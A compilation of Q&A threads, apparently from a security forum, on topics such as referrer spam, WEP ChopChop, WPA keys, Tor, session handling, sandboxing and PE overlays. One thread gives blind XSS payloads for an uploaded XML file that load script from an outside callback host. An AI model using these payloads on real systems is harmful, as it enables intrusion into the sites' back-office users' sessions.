What is this attacker trying to accomplish? My client is who is running a recent version of vBulletin is getting lots strange activity and I'm at a loss to explain what the attacker is trying to accomplish.

The attacker registers a fake user account in the forum with clearly made up personal details.  Then we start getting hundreds of hits on the member page of this fake user.   The hits all come from the same IP address and feature REFERRER field in the header that appears to be doubly redirected through two different 3rd party websites that have open redirect vulnerabilities.  (that is, with a specially crafted URL, will generate a redirect to another site)

The httpd log entries all look like this.    These have been rendered anonymous, but you get the idea.     www.cccccc.ccc is my client's site.  openredirect.aaaa, openredirect.bbbb, etc are various websites around the world.  There are hundreds of different ones used.

77.97.xxx.xxx - - [12/Dec/2014:09:18:11 -0500] "GET /forums/member.php?SomeUser HTTP/1.1" 200 8974
"http://www.openredirect.zzz/exit/?url=http://openredirect.yyyy/away.php?to=http://www.cccccc.ccccc/forums/member.php?u=SomeUser"
"Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.16"

77.97.xxx.xxx - - [12/Dec/2014:09:18:12 -0500] "GET /forums/member.php?u=SomeUser HTTP/1.1" 301 -
"http://www.openredirect.aaa/jsps//recommend.jsp?url=http://openredirect.bbbb/forum/visit.php?url=http://www.cccccc.cccc/forums/member.php?u=SomeUser"
"Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.16"

repeat above 100's of times within a short interval, all from the same source IP, all to the same member profile page, but with different sets of redirections in the REFERRER field.

There's nothing of interest on the member's profile page that's being requested.  Just some made up personal details.  No embedded script, etc.    I've checked the forum code and it doesn't seem to be doing anything with the REFERRER field that I can see (such as trying to ping it back or anything).

One strange thing I've noted is that some requests have a 200 result code and others have a 301, but I can't figure out what's the difference.

A few days ago I searched extensively for info about any kind of attack like this, but came up empty.

The main threat to our site is that the requests all come rather quickly and sometimes overload our server causing a partial denial of service eventually.  (but I can think of far more effective ways of causing DOS if that was the end goal, so I don't think it is).  Right now we're playing whack-a-mole, blocking one new source IP address every few days.

While various techniques may be used to stop this from happening and we'll eventually figure out the best approach to block this,  my primary question here is what is the attacker trying to accomplish?

It looks like some kind of negative SEO technique, but I don't think it has been proven that it can really impact your ranking.

See:

301 Redirect for negative SEO. This is a problem
PROBLEMS WITH REDIRECT CHAINS
Thousands of 301 redirects bad for SEO?


How ChopChop attack against WEP actually works? From my understanding, ChopChop attack against WEP, which goal is to decrypt one packet without need to know the WEP key, goes like this:

First, the attacker takes one ciphertext message from the RF stream, addressed to the target AP. Next, he/she "chops-off" the last byte of the message, right before the ICV (which is also encrypted in the packet), and replace it with random value in range of 01 to FA. Then, the attacker finds this one changed byte position in the ICV, and calculates it to be right (because it's linear CRC-32), so the modified packet will have correct ICV checksum when it is checked by the AP during the decryption process.

The packets now is injected in the AP. The attacker listen for broadcast traffic in order to see if the packet (ARP-request, in most cases) is retransmitted again.

I can't understand, if the checksum is always correct (the attacker computes it to match to the changed with plaintext byte in the ciphertext right before packet injection in the AP), how the AP knows that the modified byte is actually wrong and doesn't match to the plaintext?

The AP will decrypt the packet (the last byte in plaintext will be ignored by the decryption algorithm, it's already in plaintext), then will compute the checksum of the plaintext, and will see if it match to the decrypted ICV value. And it will always match, because the attacker computes it right before the packet injection in the AP. So, the AP will never reject the packet?

How our AP determines that the packet with the flipped byte is corrupt?

Short answer

The main point to answer your question is that we need to know the original chopped off bit to be able to reconstruct the ICV. Only if we know that original bit, we can correct the altered packet so that it is accepted again.

Longer answer

AFAIK I think your assumption that

  Next, he/she "chops-off" the last byte of the message, right before the ICV (which is also encrypted in the packet)

is wrong. The attacker does not know where the ICV begins, he/she just chops off the last byte of the encrypted message. However, I'm not entirely sure of this. It doesn't matter for the remainder of the answer anyway.

It is important to start the answer with two considerations:

It is always possible to create a corrupted packet based on a captured packet, which will be accepted by the AP (and thus of which the ICV checksum is correct)
The point of the ChopChop attack is not to create a corrupted packet. Its purpose is to recreate the original plaintext packet bit by bit.

I'm not going to go into detail as to why (1) is correct, please read a more mathematical guide for that. Now, we leverage mathematical findings of point (1) to arrive to the ChopChop attack. Imagine the following packet (data + icv):

0101 = data ; 11 = ICV ; full packet = 0101 11

The chopchop attack works by chopping off the last bit of the packet (so that we get 0101 1). Of course, this packet will not be accepted by the AP, as there is no way that the ICV checksum is still correct. Now the chopchop math shows that I can modify this packet so that it becomes correct again (e.g. 0101 0). It has been mathematically proven that we need the original, chopped of data bit to know how we have to modify the packet so that it will be accepted again.

So we need a calculation which uses the chopped of plaintext bit as an input. If we don't know the plaintext bit, we will not be able to know how to modify the chopped packet so that its ICV becomes correct again.

Therefore, we start guessing the chopped off bit, and we run it through the calculation, adapt the ICV, and check if the AP accepts it. If it does so, we know that we have guessed the chopped off bit. If not, we try another one.

In this answer, I have made abstraction of the encryption (I worked with plain text packets). However, due to the nature of the encryption (associative & commutative), this doesn't matter for the underlying logic, that is actually proven by point (1).


How to encrypt text so that when decrypting there are 2 (or more) decryption keys with potentially results? I would like to encrypt text and then publish on the public blockchain (STEEM).

(I like STEEM because it is easy to use and allows me to store the whole content, rather than just hash when using Bitcoin blockchain)

I might be coerced into disclosing the encryption phrase, therefore looking for encryption method where 2 (or more) passphrases produce human-readable plaintext.

Some existing examples of plausible deniability used in practice

True Crypt

https://www.truecrypt71a.com/documentation/plausible-deniability/hidden-volume/

Ledger Nano S

https://support.ledgerwallet.com/hc/en-us/articles/115005161725-How-to-setup-a-passphrase-and-an-alternate-PIN-

With a xor based cipher this is trivial.

Message A xor random A' makes ciphertext C, C xor arbitrary message B makes random looking B'. Call A' and B' keys.

A, A', C, B and B' have to be the same used length. This would be most believable as a one time pad; with A' and B' being called pads and having extra length of random bits that aren't used appended.

Using more of A' for future messages might be expected but would mean changing the additional part of B' which if detected is a huge red flag for a one time pad. Also it means you have to secretly store A' which is by definition as hard as hiding A.


Simulate Tor Circuit So an interesting thought popped into my head as I was thinking over the Cryptowall malware. If you don't already know, Cryptowall utilizes the Tor service to make the back-end service it uses untraceable.

While thinking over this, I thought of one of the few attacks Tor is susceptible to, the Man in the Middle attack. This got me thinking what if you could rig the jumps to where you have control of the exit node?

So, Tor has a public list of nodes stating what nodes are available for a  client to route through and which are exit nodes. So let's say I spoof my default DNS/IP to redirect to to my own list of nodes within my own network (As Tor is open sourced one could reverse engineer the request format).

Make a few assumptions here such as, There is only one node configured as an exit, and only the exit node has internet access. (Just to make the spoofing easier)

My question is, could one, using a similar method as above,essentially redirect and control Tor traffic from an UNMODIFIED Tor Client in a network by providing spoofed nodes, and then perform a Man in the Middle attack on the exit node, and monitor the traffic of say the Tor Browser or something else sending data over Tor?

NOTE: If I got something wrong, an you feel tempted to push that pretty little red down-vote button, at the very least add something to the comments about why you did so. I would appreciate it.

The list of nodes provided by the authorities is signed by all 8 authorities, the public keys of which are embedded in the tor client.

You could prevent the client from booting, but it won't accept your list of nodes.

(https://www.torproject.org/docs/faq#KeyManagement) :

  Coordination: How do clients know what the relays are, and how do they
  know that they have the right keys for them? Each relay has a
  long-term public signing key called the "identity key". Each directory
  authority additionally has a "directory signing key". The directory
  authorities provide a signed list of all the known relays, and in that
  list are a set of certificates from each relay (self-signed by their
  identity key) specifying their keys, locations, exit policies, and so
  on. So unless the adversary can control a majority of the directory
  authorities (as of 2012 there are 8 directory authorities), he can't
  trick the Tor client into using other Tor relays.


Can I have the same military grade security standards with Fedora than Red Hat? Can I have the same security Government Standards with Fedora than with RedHat?

First, there is no such thing like "military grade security" except for marketing. And since this is not a protected phrase you'll find this claim often in products which primarily consist of shallow claims without providing adequate security.

My guess is that the "government standards" you refer to are actually certifications like Common Criteria or the approval for use inside a specific classification level like NATO restricted, top secret or similar.  And this case the answer is that these certifications and approvals are only apply to the specific tested product version and do not apply to similar products. This means that any certifications for RHEL do not apply for CentOS although it is mostly the same and do not apply to Fedora which is already very different from RHEL.

And even if you use a product which got specific certifications or approvals you have to carefully read what is actually covered and how the product should be used in a certified/approved way. Usually only some functionality of the product is covered and only when used in a specific way or specific environments.


Which key is actually used for encrypting data traffic in WPA after the 4WHS? Some sites say that the PTK is used for encrypting the data between the client and the WAP while others say that the PMK is used instead. Which one is true?

From what I understand, this can have very different security implications. If PTK is used, then the key used for encryption will be different for each user even though the passphrase is the same.(Due to differences in the Snonce and Anonce) If PMK is used instead, then compromising one key will automatically lead to a compromise of all clients in the same network, since they all share the same PMK. Of course this only applies to WPA-PSK and not WPA-Enterprise,since every client submits its own credentials in the latter.

It is the PTK used for data transfer, it is derived from the PMK (PSK).
If the PMK is compromised (You get to know the passphrase/password) all you can get is the Broadcasts packets, because you can connect ONLY to the AP, and not the other clients, since you need the handshake to generate the PTK.

By definition from the IEEE 802.11i:

  pairwise transient key (PTK:) A concatenation of session keys derived from the pairwise master key
  (PMK) or from the PMK-R1. Its components include a key confirmation key (KCK), a key encryption key
  (KEK), and one or more temporal keys that are used to protect information exchanged over the link.

And the PMK:

  pairwise master key (PMK): The key derived from a key generated by an Extensible Authentication
  Protocol (EAP) method or obtained directly from a preshared key (PSK).


Blind XSS Payload for xml file? I think i may have found a blind XSS. I can only upload xml files that are opened inside the backend. My questions is: How can i turn this payload into a blind xss payload to receive a ping to my website?

<?xml version="1.0"?>
<foo>
<html xmlns:html='http://www.w3.org/1999/xhtml'>
<html:script>prompt(document.domain);</html:script>
</html>
</foo>

What should i changed  from this string?

<html:script>prompt(document.domain);</html:script>

A good resource for payloads in general is "payload all the things": https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#blind-xss

I don't see why most of their blind XSS payloads wouldn't work for your target:

Are XML attributes parsed as HTML attributes?

<html:script  src=//yoursubdomain.xss.ht>prompt(document.domain);</html:script>

If you're trying to stay inside the tags:

<html:script>var a=document.createElement(\'script\');a.src=\'https://yoursubdomain.xss.ht\';document.body.appendChild(a)</html:script>

It has some other payloads you can try, as well as some tools that can be used to find blind XSS:

XSSHunter
bXSS
ezXSS


Protecting private encrypted data on public computers Consider an (Java) application that will be deployed on an off-the-shelf laptop in a public location. The laptop is not connected to any network or the internet. A USB barcode scanner is available as an additional input device. For the application to function properly, it needs access to a local (SQLite) database with personal information. Periodically, we import new data and destroy the old data.

Our greatest concern in protecting the data is physical theft of the laptop. Normally someone will be close by to keep an eye on the laptop, but there will be times that the laptop is out of sight. We are not able to physically secure the laptop to any nearby objects.

We are considering measures to protect the database programmatically, but are unable to find a solution that is both secure and practical.

Currently, we plan to encrypt the database (e.g. AES-256) and swap the encryption key every time new data is imported. The operator must enter the encryption key to unlock the application and access the data. To ease the login process, we provide the operator with a QR-code containing the encryption key that can be scanned with the attached barcode scanner.

Theoretically, the operator will log out of the application once they are done. However, in practice this is often forgotten, which leaves the application wide open for abuse. Data is not easily disclosed through the application, but as long as the user is logged in (we assume) the encryption key is saved somewhere in memory. A malicious person might steal the laptop, dump the memory, find the encryption key and access all data directly.

We are considering to logout the application automatically after a certain time of inactivity. This timeout would have to be rather short (say several minutes), otherwise a malicious actor can steal the laptop and keep giving it regular input while searching for the encryption key. However, a longer timeout would be preferable to prevent that the operator must login again and again, even when they are manning the laptop and simply have some downtime without regular input.

Are there any best practices or research concerning situations like these?

First of all, let me say that your scenario is quite bad. Storing copies of personal information on an unsecured laptop that people could rob rings a number of bells, and my first instinct would be to ask why do you really need to do that?? It may be possible to handle it on a better way. And even if budget restrictions are a concern, do note that they need to be compared with the risk associated to improperly leaking that data (both monetary -someone sues you for 'losing' that data- and reputationally for the company).

Now, assuming that those restrictions hold, what you are describing doesn't sound too bad. Obviously, the QR code holding the password could be easily stolen by anyone with a smartphone, and the application, associated database and login password could be copied to a usb drive in minutes by an attacker that knew what to steal (hint: disable usb ports). Also, the AES key is most probably still stored in some memory allocated to the Java VM process.

The main suggestion I would make to your approach is to automatically lock/shutdown the laptop when it is taken outside the allowed area.

One way to do that would be if it carried a GPS received (common in smartphones, not so much on laptops).
Usually a check on available WiFi networks would serve well. You state that the laptop is not connected to any network, but perhaps there is a near network that it can take as a signal of being 'on the right location', even if it doesn't connect to it?
However, a more basic detection would be to rely on the power cord being connected. I assume that the laptop will have to be connected to the power in that public location. You could detect the event noting that it is running on battery as a signal to lock the application.
And the most simple way to force the laptop to lock if removed from the location would be to deploy it with no battery at all. Physical theft of the laptop would require disconnecting it from the power cord, which would automatically shutdown the laptop, locking the database.


Looking for password manager in company I was looking for solution everywhere, but maybe because lack of specialized words I can't find it.

I've got a problem in finding a program, but I don't know how to describe it in one word so I'll describe it in full way:

In company there is a usual situation when some of workers need to know login/password for external cooperants(for example suppliers, banks). For these company has only one login/password (because it identify company, not their workers). However there is a problem when worker is fired. He/She knows the password so there is a danger that he/she can make damage. So I'm looking for program that will store all company passwords, and only grant workers privledge to access site with login/password but without showing them.

I know that it is already similar topic here but as far as I understand, it is more like managing password inside company.

Thanks in advance for any help!

firstly, it is bad policy to have non-individual based passwords and the first course of action would be to setup individual accounts for the users.

If the supplier cannot do that - then an alternative action would be to setup a simple federated trust model where the users never sign in to the 3rd party site but simply "single sign on" to the site using a federated trust model.  There are industry standards for this such as SAML2 that allow you (and your company) to retain the identity management (including joiners/leavers/movers).

Clearly this will only work if you disallow normal login to the third party site.  My client does this with every SaaS site that their employees use.

google for:  Federation, SAML2, federated Single Sign On.


Petraeus scandal - what would have been a better way to communicate electronically Not a security professional here but .... having read through how it happened, it's clear sending these emails from the shared account by Paula Broadwell was the problem (if I understand correctly). But would there have been a way for Petreaus to protect himself?

I would think tornetwork but that's probably has a lot of backdoors for military. Maybe some proxy setup or private vpn? Would it be possible to use a secure txt message way via phones? Honestly, maybe something as hair-brained as vps account that you ssh into? Would ssh be secure from the US government from a technical pov? If you feel compelled to answer, leave politics out of it.

thx in advance

update #1

So the basic facts seem to be the following. I am assuming these facts are given so obviously don't send unencrypted email is a given. Is sending pgp encrypted email ok, though? Is there a better sol'n? Using something as a shared drop with the capability of sending out emails seems to be the big problem, but what would be a good alternative? Honestly, these were both very smart people (and interesting to see the social element as the downfall). Basic Facts (feel free to edit):

Two people shared a gmail account
They used the gmail account for sending messages by leaving in the draft folder so that no incoming messages into their regular email accounts nor traces of emails on public servers, sniffed from traffic (and probably a myriad of other things)
Sounds as if one of them (Paula Broadwell) sent an email to third party (Jill Kelley) who brought to attention of the FBI. Due to nature of email, she raised it to FBI who investigated.
FBI probably got search warrant on gmail account and based on the email(s) sent by Paula Broadwell and the content in the communication in the Drafts folder, it was apparent that David Patraeus

Don't send unencrypted email with secret information that can get you in trouble.

Ask others not to send you secret information through unencrypted email, and if you receive act like you don't understand the information.

The problem isn't a particularly a technological one; its they used public email (e.g., gmail) to transmit information that could get him in trouble if it becomes public.

Now if Patreaus had an secret account that no one knew about, and only accessed it through tor (or something), never had his name associated with it (e.g., Broadwell was instructed not to use his name), never saved emails to his computer, never left credit card statements with the VPS (e.g., she charged the credit card statements), etc he could possibly get away with it.

But then again, the US govt may not be too happy with a general having secret unmonitored VPS accounts sending out information to unknown parties.


Looking for botnet IP address feeds to protect against DDoS I would like to get a live feed of botnet IP addresses delivered from a service and block them under certain conditions. Preferably community based/open source but open to looking at worthy commercial ones too. So far I have come across dshield (Internet Storm Center) and i-blocklist. What are others that I can consider that you have used and found useful?

The main aim is to prevent against DDoS. Being able to block TOR and anonymous proxies via the feed will also be nice.

I guess something should be noted on the botnet and DDoS.

The main interest of the distributed system of the botnet, is that you cannot identify a bot from a genuine client.
Think of it like this:

Scenario

Someone infects many computers by sending a virus. Each tricked user is now part of the so-called botnet. Let's say you have 100M bots.

Consequences

IP address usage

This scenario implies that the IP addresses of the bots have dynamic or static IP addresses depending of their ISP policy. So collecting IP addresses is worthless. Soon or later, the pool is going to be renewed.

Distributed network and identification

DDoS works this way: you will ask each bot to connect to one server.
Question: How do you know if they are trying to access your server for a legit purpose or just to saturate your connection pool?

Given this, as you can't identify whether a client is part of the attack or not, you cannot compile a reliable list of IP of the distributed network.

Conclusion

Although is it not impossible, I think that the prevention of DDoS attacks by IP is not possible because of the two exposed challenges: use of a real identifier (IP address) and identification of bots.

Maybe if a group of servers would report attacks on live to a master server, it is more than probable that the next attack from that set of bots will have different IP addresses. Furthermore, you cannot deny access to your site if an IP appeared once in the list of one address that tried to access one server know to have suffer a DDoS attack, because you will ban legitimate clients that do have nothing to do with the attack.

By the way, I never heard of such a list.

TOR network exit node are more easily identifiable. Some resource like http://proxy.org/tor.shtml


PHP and other files on the server, their visibility and access Let's say I would like to protect my PHP files that are on the public server and are used as a part of the website. Does anyone can easily access these files just like HTML/JS/CSS files through developers tool in the browsers or extensions such as FireBug?

I am guessing that it is not possible through these tools, but what about if someone's trolling the URL and just randomly tries to guess the name of the php files, which would be easy for something like results.php or similar. Is the file displayed just like that if they guess it?

What if someone's gonna write a script to troll the URL?

Under normal circumstances, assuming that the server is configured correctly and that there are no security vulnerabilities in either your server or your PHP code, there should be no way for any normal visitors to see your PHP source.

The reason you cannot hide HTML/CSS/JS from users is because HTML/CSS/JS are all client-side code, meaning they are interpreted and executed by the user's browser. Obviously, you must send the code to the user before the user's browser can execute it, so users can easily make their browsers show them this code.

PHP, on the other hand, is server-side code. This means that your server runs it, and only sends back the results to the user. ("Results", for the most part, means anything you put in echo() statements). Thus, there should be no way for users to look at the original source. They are limited to stuff that you explicitly 'echo' (plus maybe PHP error messages, if you have them enabled).

If someone guesses the URL of a php script and tries to access the URL directly, the server will still just go through and run the script, and send only the output back to the user. The server runs the script each time it is requested. What the user will see depends on the specific script and your server configuration. If the script requires user input and none is provided, then it is likely the user will just see an error message.

  read/write rights are required for the user to actually make the php
  work, or is it fine to take user's r/w access to the php files and the
  website will behave the same accessing the php when user sorts of
  request it using the website?

I have no idea what you mean by this, could you elaborate?


List of good security blogs one should read I graduated this year and am working in the security domain. I want to explore security topics and don't have a strong background since it was not part of our curriculum. Can you list some good security blogs which explore various security strategies. It could be any kind of security like network security, information security, SOA security, Identity, access, authorization etc.

Note: for developer-oriented resources, see this question:

  What security resources should a white-hat developer follow these days?

If you want to learn more about the security domain, blogs are not where I'd start.  I'd start with classic books.  Ross Anderson's Security Engineering is an absolute classic, a must-read for anyone in the business.  Others may have other suggestions.

As for blogs, here are a few suggestions:

Schneier on Security
Krebs on Security
Freedom to Tinker
Light Blue Touchpaper
Jeremiah Grossman's blog
Dan Kaminsky's blog
Educated Guesswork
Ben Adida's blog
Financial Cryptography
RISKS Digest
Perry Metzger's cryptography mailing list


How to run client's code on server securely I'm working on a project basically a web application. It accepts code (java, c, c++) from client, compile and execute on server and return the results back to client.

As I'm going to execute code on server there are many security and stability issues.
like :

infinite loop.
code accessing local file system.
and much more.

The things i have realized so far are :

code shouldn't execute for long time this can be handled by executing
code processes using time-out.
executing program should not create child processes.
code must not create network connections.
code should have access to limited resources only and that also for some period of time.

I'm using windows as my OS platform. How can i handle above issues and are there some things I'm missing on?

Thanks.

You should not envision things as a "black list" of things to trap. Black lists don't work. At least, they don't work well. Instead of trying to work out a list of "forbidden system calls", you should instead create a list of "definitely harmless system calls" which you explicitly allow.

What you need is a sandbox. The Chromium Web browser (the open-source side of Chrome) contains such a sandbox which works on Windows. That page contains a rather detailed architecture of the sandbox system. I don't know to what extent this sandbox mechanism could be extracted from the Chromium source code and used on its own.

If you want something more immediately usable, then you may want to investigate virtual machines. In that model, you give a complete OS and machine to the client code, and you control things "from the outside": the VM talks to the external world through a network interface, and the host system (your server) controls exactly which packets make it through and which do not. For instance, if you want the client code to access some local files from your server, then you just export (as a "network share") the specific directory to the VM. For a low-resource guest VM, I suggest NetBSD, which is notorious for requiring very little RAM.

Edit: regardless of the technology you will use (sandbox, VM...), running potentially hostile code on your systems can be dangerous. Indeed, all the code snippets running concurrently on a given machine necessarily share some resources, i.e. L1 caches, jump prediction caches... which can be used to gain some information on other code snippets, be they other users of your system, or code from the host itself. This has been demonstrated as part of attacks to retrieve nothing less than an AES encryption key -- i.e. the Secret of Secrets in a cryptographically powered system. See for instance this answer. Though the demonstration were done on encryption systems, this really impacts anything which you do on a computer with confidential data.

Thus, if you have confidential data on your server, or if some of your users could find advantageous to spy on other users, then... don't do it.

To mitigate such cross-sandbox eavesdropping, you would have to arrange for the sandbox code not to be able to communicate with the external world (except to return a "result" at the very end) and to deactivate facilities for precise measurement of elapsed time (namely the rdtsc opcode on x86 -- it can be disabled with a flag in register CR4, but I don't know if usual virtualization solutions offer a simple way to enforce this deactivation).


On password change in a web application, should it log out all other sessions? When a user is logged into a web-based application in multiple tabs, and changes their password, should it automatically log them out of the other tabs? The use case is an account is compromised, the attacker logs in, the user also logs in and changes their password, however, since the attacker was already logged in, they are still granted access until they log out.

This seems to require storing the password bcrypt hash in session, and then every request check the session bcrypt hash against the bcrypt hash in the database. Is there an alternative approach?

TL;DR: How do you know it's not the attacker who is changing the password? In that case, you would log out the legitimate user. Or a user might want to routinely change their password (a good practice), but not if they have to login again on all devices every time. I would only log all other sessions out if (1) the user clicks the button "log all other sessions out", or (2) the user uses the forgot-password feature (thereby confirming their email address, or something else which provides stronger proof that it's them than a password).

When to log all other sessions out?

There are a few cases in which a user's password gets changed:

User notices or suspects a compromise, and changes their password
Attacker just gained access to an account and changes the user's password
User forgot their password
Attacker compromised user's email account and uses the forgot-password feature
User routinely changes their password, either because they think it improves security or because of a policy

In each case, you would want to make a different choice, but it's impossible to distinguish between the legitimate user and an attacker. Since you can hardly ask the user to confirm their password when using the forgot-password feature, we have to either disregard the case where an attacker compromised a user's email account, or use another method of confirming the user's identity (e.g. a recent purchase, an SMS verification code, a security question[1], etc.).

Since we do not know who is changing the password when it is changed from the interface, I think it's not unreasonable to leave other sessions active. In that case, other sessions should be terminated when a user does a password reset (after they confirmed the password reset link, not whenever anyone enters their email into the form, because that could be abused). Imagine the scenario in which both are logged in and know the password: both will try to change the password (assuming they know of each other) and it's just luck who gets there first. But once the password reset feature has been used successfully by someone, you have a higher confidence that this is the legitimate user.

Another consideration is whether to have a separate interface for logging other sessions out: you could have a button for "Log out all other sesssions", perhaps next to a list of all other sessions and past logins. I would recommend having this, since a user can check what is going on when something strange happens to their account. An attacker will be unable to hide their presence.

How to manage the sessions?

Ideally, you should have a list of active sessions for any account, as well as a history of logins. The history of logins should date back a certain amount of time, not a certain number of logins: if only the last X logins are shown, an attacker will be sure to look in the account history, spoof the user agent and country/state/city using VPN, and do X logins to push his own login out of memory.

This can be managed in a database, where each login session is registered. Using a expires column, you can purge sessions which have expired. And a session should get removed upon log out of course. Note that this is separate from login logging: having logged out, it should still be visible that someone logged into the account using <device> from <location> on <datetime>. The only thing to remove (or the boolean to toggle) is that the session is active.

Doing some trickery with bcrypt-hashed passwords, as described in the question, is not needed (and definitely not recommended!). The session state should be independent from a user's password by design: otherwise session tokens have a meaning which could be guessed if you make some tiny mistake, even if the attacker doesn't really know the password. Or conversely, an attacker could learn the password through offline brute-force, when all they ever obtained was a session token.

Generally speaking, there should be a list of sessions with at least two columns: session token and the user's unique identifier. The session token should be random bytes, optionally hashed (in order to not leak data from a compromised or weak PRNG). The user's unique identifier should be stable: no display name, and preferably not a username. Use a single-use unique identifier, such as an auto-incrementing column in MariaDB/MySQL. Usually a third column is added, expiration time, but this is not strictly necessary. I would highly recommend it, though, even if you set it to multiple years.

For each request, the database can be checked for the presence of the session token. If a user does something that invalidates other sessions, it's a simple matter to inactivate (or delete) the user's other sessions.

[1] Do not use security questions as a replacement for a password. The only reason I dare mention it, is because it can be an addition: when the user confirmed a secret code (or link) sent to their email account, or when they proved that they know their password, you could use it to get a little more certainty that it's the real user and not an attacker.


Certificate Pinning with CDN I'm currently designing the security controls of an Android Application and willing to have Certificate Pinning. I'm familiar with the concept and have seen various implementations in the past, yet this Android Application is using a CDN (For all requests/responses).

I was wondering whether the certificate to be pinned should be of my own server? or should it be the CDN's certificate?

Certificate pinning means that your application will only accepts specific server certificates within a TLS handshake. This means, that you need to pin to the certificates which are actually provided by the server inside your TLS handshake. If your application is communicating only with a CDN this would thus be the certificates served by the CDN. If these are certificates created or bought by the CDN itself or if these are your own certificates which you've provided to the CDN depends on your specific and unknown setup with the CDN.

Please not also that you better only pin to certificates over which you have full control. For example, if you pin to certificates which are created by the CDN and can be changed by the CDN without asking you then the application might suddenly break since the CDN decided to change their certificates.


Received email at work from someone using a member's name The email message looks like this. This person used a church member's name and used a totally different email address. It went like this:

  Hi!

  How are you? (then gives a bad web address)

  Gary Mecham

Then, below that in the bottom left corner it says "Sent from my iPhone, with a fraudulent web address"

The email domain is totally different from the church member's actual domain.

I sent an email to the people (that I knew) that this imposter sent this to to warn them that it is NOT who they think it is. I work at a church. That's where I received the email, on the church's computer. I did click on the link, but we have McAfee Internet Security software on our computer and, quickly, it gave a warning message not to go to that website. So, of course, I didn't.

Can I report this to the FCC? Or who? It's not really a consumer spam, but I think it's an email to get people to click on a website that probably has a virus in it that will attack their computer.

This is classic spam/phishing. The person being impersonated likely had their contacts scraped and the attacker is sending emails to each of the contacts.

No need to report to FCC. Inform the person being impersonated to change their email passwords (and possibly any other passwords) and to possibly email their contacts to let them know of the impersonation.


How to safely connect a possibly infected computer to my home's internet? There is a laptop - not mine, someone else's. That someone else, as far as I know them, are a bit lousy in their security best practices (do they even have AV installed? not to mention OS patches or rather the lack of them) so I wouldn't be suprised if their laptop was infected.

Thing is, they're bringing their laptop to my home in a few days and despite the above I'd like to allow their laptop to connect to the internet through my home WiFi network (connecting via Ethernet rather than wifi is also an option).

What are the dangers of doing so? Is it possible to somehow mitigate these risks and how?

Untrusted devices should be on their own, segregated network. Some wifi routers have a "guest" network, some separate the wifi from the ethernet. That's your best route.

Being on the same network means that any infection on the untrusted device can attempt to reach out to your own devices. The impact of that might be low, but that requires some understanding of the nuances involved.

Best case, put them on their own segment.


How to get rid of an Ad bot? The issue started due to setting up a proxy server on a PC connected to my network. I then realized that all of my devices that connected to the network, including PCs and phones, are all infected by an ad bot that redirects me to ads websites whenever I click on any link. I then installed Malwarebytes, Adware Cleaner and other AV softwares to clean up my PCs but not any of them have detected anything. I thought that this maybe some kind of router hacking so I made a hard reset to my router and re-configured it with my ISP, then the problem solved on all of my PCs. However, it remained on my phone. I then made a reset to factory settings, formatted everything, all apps deleted but the problem still exists and I'm being redirected to ads websites, I almost tried every AV app on the playstore but they didn't catch anything. What should I do in this situation? I don't know any other way to solve this problem. I have to mention also that this bot works only on my phone when I'm connected to my router and it doesn't work when I switch to the mobile data. On the other hand, if it is still a hacking on the router, it should also affect the other PCs. Any suggestions guys? I really appreciate any idea.

What you've described sounds like your router's DNS settings have been changed to use servers under the control of your attackers.  You can confirm this by disabling the proxy server.  If you disable the proxy and the problem goes away then wipe the proxy machine and start again - it's the only way to be sure.

You can reset the DNS server settings to what they should be (your ISP can tell you what they should be, your router may be able to get them automatically or you can use a third-party service like Google or OpenDNS) to fix the initial problem for the local network.

Then you also need to prevent the attack from happening again.  Measures to do that include:-

performing a factory reset to clear any settings left by the attackers
installing the latest router firmware
using a strong password on the configuration interface
limit access to the configuration interface to appropriate places (wired, local connections, not the internet)
log out of the configuration interface after use (and do not tick 'save password' on your browser when configuring the router)
changing the IP addresses used and supplied by the router (for example change from 192.168.1.1 to 192.168.123.1)

The location of settings varies by model and if you're not sure how to check these settings then check with the manufacturer of the router, your ISP's helpdesk or bring in a professional.  Some of those options may not be free of charge but will be worth it.


KDBG usage in volatility I am using volatility recently and I noticed that it uses kdbgscan command, that is about kernel debugger block.
Can someone explain in plain words what is it and why are we using it?

The KDBG is a structure maintained by the Windows kernel for debugging purposes. It contains a list of the running processes and loaded kernel modules. It also contains some version information that allows you to determine if a memory dump came from a Windows XP system versus Windows 7, what Service Pack was installed, and the memory model (32-bit vs 64-bit).


How is the file overlay read by an exe/virus? According to what I know ,Overlay is the part of PE file that is not covered by the PE header and therefore isn't part of the virtual image in the Loaded PE.

My question is if the overlay is not loaded along with all other code of the PE (sections) in the memory,How do overlay viruses execute?Do they read the file from the disk /

By overlay viruses I mean ,malware which run malicious code from its overlay?

The overlay is just appended data to the end of the executable file.  Detecting this can be tricky.  But keep in mind that this portion is only ignored when loading an executable into memory.  Opening the file for reading will allow access to the entire file including the Overlay portion.

The PE header will contain the size of the executable, and you can attempt to base the start of the overlay section on this.  However, this size could be any size including zero or 0xffffffff.

Viruses most likely use the executable portion to gain a foothold into the system, and then load more more suspicious code into memory from the overlay once they have appropriate permissions.  In this case the virus already knows where in the file to find its extra code.

The advantage here might be that the initial actions by the EXE will allow it past virus scanners to run, and the overlay portion isn't taken into account.

How to Append Data to an EXE is a nice little article that talks about how this can be done for legitimate means.


Explain real world symmetric key encryption I'm new to cryptography. While reading about symmetric key encryption, it was mentioned that it requires secret key exchange so that 2 parties can decrypt the ciphertext.

Now, using some encryption software like GPG, we can use symmetric encryption by gpg --symmetric abc.txt
It asks for password there.

Is the key generated using the password?

Can I actually see the secret key if I want to?

Symmetric key cryptography requires secure key exchange. But in real world the 'key' itself is not exchanged right? Instead the password should be securely exchanged right?

Also, is the key actually present in the ciphertext & unlocked by the password or is it generated on-the-spot when we give our password?

Thank you!

Is the key generated using the password?

Yes. In this sort of scenario, the password is run through a key derivation function (KDF) such as PBKDF2 to generate the key.

  Can I actually see the secret key if I want to?

AFAIK, the symmetric key in this case is not stored anywhere. Instead, the key is derived from the password each and every time you want to encrypt or decrypt something. If you really want to obtain the key, you can run your password through the KDF assuming you know the salt and iteration count.

  Symmetric key cryptography requires secure key exchange. But in real world the 'key' itself is not exchanged right? Instead the password should be securely exchanged right?

This is quite a complex topic. In the case of GPG in symmetric mode, the key is not transferred by any means. Knowledge of the password is required to decrypt the encrypted data.

